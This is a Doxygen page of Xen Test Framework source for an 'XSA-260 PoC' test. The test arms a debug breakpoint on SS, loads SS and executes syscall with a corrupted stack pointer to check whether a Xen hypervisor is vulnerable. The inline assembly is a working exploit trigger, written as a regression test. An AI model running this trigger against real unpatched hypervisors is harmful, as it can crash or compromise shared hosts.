Xen Test Framework
main.c
Go to the documentation of this file.
1 
34 #include <xtf.h>
35 
36 const char test_title[] = "XSA-260 PoC";
37 
38 static unsigned int __user_data user_ss = __USER_DS;
39 
40 static void undo_stack(struct cpu_regs *regs)
41 {
42  /* This had better be a user frame, so ->_sp is safe in 32bit builds. */
43  if ( IS_DEFINED(CONFIG_32BIT) )
44  ASSERT((regs->cs & 3) == 3);
45 
46  regs->_sp = regs->bx;
47 }
48 
49 void do_syscall(struct cpu_regs *regs)
50 {
51  printk(" Entered XTF via syscall\n");
52 
53  undo_stack(regs);
54 
55  if ( IS_DEFINED(CONFIG_32BIT) &&
56  regs->cs == 0xe023 && regs->_ss == 0xe02b )
57  {
58  xtf_warning("Warning: Fixing up Xen's 32bit syscall selector bug\n");
59  regs->cs = __USER_CS;
60  regs->_ss = __USER_DS;
61  }
62 }
63 
64 static bool ex_check_UD(struct cpu_regs *regs, const struct extable_entry *ex)
65 {
66  if ( regs->entry_vector == X86_EXC_UD )
67  {
68  printk(" Hit #UD for syscall (not vulnerable)\n");
69 
70  undo_stack(regs);
71  regs->ip = ex->fixup;
72 
73  return true;
74  }
75 
76  return false;
77 }
78 
79 static void __user_text user_syscall(void)
80 {
81  asm volatile (/* Stash the stack pointer before clobbering it. */
82  "mov %%" _ASM_SP ", %%" _ASM_BX ";"
83 
84  "btc $%c[bit], %%" _ASM_SP ";"
85  "mov %[ss], %%ss;"
86  "1: syscall; 2:"
87  _ASM_EXTABLE_HANDLER(1b, 2b, %P[hnd])
88  :
89  : [bit] "i" (BITS_PER_LONG - 1),
90  [ss] "m" (user_ss),
91  [hnd] "p" (ex_check_UD)
92 #ifdef __x86_64__
93  : "rbx", "rcx", "r11"
94 #else
95  : "ebx", "ecx", "edx"
96 #endif
97  );
98 }
99 
101 {
102  asm volatile (/* Stash the stack pointer before clobbering it. */
103  "mov %%" _ASM_SP ", %%" _ASM_BX ";"
104 
105  /* Drop to a 32bit compat code segment. */
106  "push $%c[cs32];"
107  "push $1f;"
108  "lretq; 1:"
109  ".code32;"
110 
111  /* Invert the top bit of the stack pointer. */
112  "btc $31, %%esp;"
113 
114  /*
115  * Launch the attack. Manually encode the memory reference
116  * to prevent the toolchain trying to write out a
117  * rip-relative reference in 32bit code.
118  */
119  "mov (%k[ss_ptr]), %%ss;"
120  "1: syscall; 2:"
121  _ASM_EXTABLE_HANDLER(1b, 2b, %P[hnd])
122 
123  /* Return to 64bit mode. */
124  "ljmpl $%c[cs64], $1f; 1:"
125  ".code64;"
126  :
127  : [cs32] "i" (__USER_CS32),
128  [ss_ptr] "R" (&user_ss),
129  [cs64] "i" (__USER_CS),
130  [hnd] "p" (ex_check_UD)
131 #ifdef __x86_64__
132  : "rbx", "rcx", "r11"
133 #else
134  : "ebx", "ecx", "edx"
135 #endif
136  );
137 }
138 
139 void test_main(void)
140 {
141  unsigned int ss = read_ss();
142 
143  write_dr0(_u(&ss));
144 
145  unsigned long dr7 = DR7_SYM(0, L, G, RW, 32) | X86_DR7_LE | X86_DR7_GE;
146 
147  /* Double %dr7 write to work around Xen's latching bug. */
148  write_dr7(dr7);
149  write_dr7(dr7);
150 
151  exinfo_t fault = 0, exp = EXINFO_SYM(DB, 0);
152 
153  /* Sanity check that breakpoints are working. */
154  asm volatile ("mov %[ss], %%ss; nop; 1:"
155  _ASM_EXTABLE_HANDLER(1b, 1b, %P[rec])
156  : "+a" (fault)
157  : [ss] "m" (ss), [rec] "p" (ex_record_fault_eax));
158 
159  if ( fault != exp )
160  return xtf_error("Error checking breakpoint\n"
161  " Expected %#x %pe, got %#x %pe\n",
162  exp, _p(exp), fault, _p(fault));
163 
164  /* Prime the user code for its exploit attempt. */
165  write_dr0(_u(&user_ss));
166 
167  printk("Testing native syscall\n");
169 
170  /* For 64bit guests, try a compat syscall as well. */
171  if ( IS_DEFINED(CONFIG_64BIT) )
172  {
173  printk("Testing compat syscall\n");
175  }
176 
177  write_dr7(0);
178 
179  xtf_success("Success: Not vulnerable to XSA-260\n");
180 }
181 
182 /*
183  * Local variables:
184  * mode: C
185  * c-file-style: "BSD"
186  * c-basic-offset: 4
187  * tab-width: 4
188  * indent-tabs-mode: nil
189  * End:
190  */
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
unsigned long fixup
Fixup address.
Definition: extable.h:67
#define IS_DEFINED(x)
Evalute whether the CONFIG_ token x is defined.
Definition: macro_magic.h:67
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
void printk(const char *fmt,...)
Definition: console.c:134
void xtf_warning(const char *fmt,...)
Report a test warning.
Definition: report.c:52
#define __user_text
Definition: compiler.h:33
static void write_dr7(unsigned long val)
Definition: x86-dbg-reg.h:181
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
static void exec_user_void(void(*fn)(void))
Definition: lib.h:70
static void user_syscall_compat(void)
Definition: main.c:100
#define __user_data
Definition: compiler.h:34
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
static void undo_stack(struct cpu_regs *regs)
Definition: main.c:40
Exception table entry.
Definition: extable.h:64
#define DR7_SYM(bp,...)
Create a partial %dr7 setting for a particular breakpoint based on mnemonics.
Definition: x86-dbg-reg.h:100
const char test_title[]
The title of the test.
Definition: main.c:14
#define X86_EXC_UD
Definition: processor.h:108
static unsigned int user_ss
Definition: main.c:38
static bool ex_check_UD(struct cpu_regs *regs, const struct extable_entry *ex)
Definition: main.c:64
void do_syscall(struct cpu_regs *regs)
May be implemented by a guest to handle SYSCALL invocations.
Definition: main.c:49
#define BITS_PER_LONG
Definition: limits.h:12
#define X86_DR7_LE
Definition: x86-dbg-reg.h:29
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
#define _ASM_BX
Definition: asm_macros.h:36
#define X86_DR7_GE
Definition: x86-dbg-reg.h:30
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
static void write_dr0(unsigned long linear)
Definition: x86-dbg-reg.h:111
#define _ASM_SP
Definition: asm_macros.h:37
#define ASSERT(cond)
Definition: lib.h:14
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
static void user_syscall(void)
Definition: main.c:79
static unsigned int read_ss(void)
Definition: lib.h:169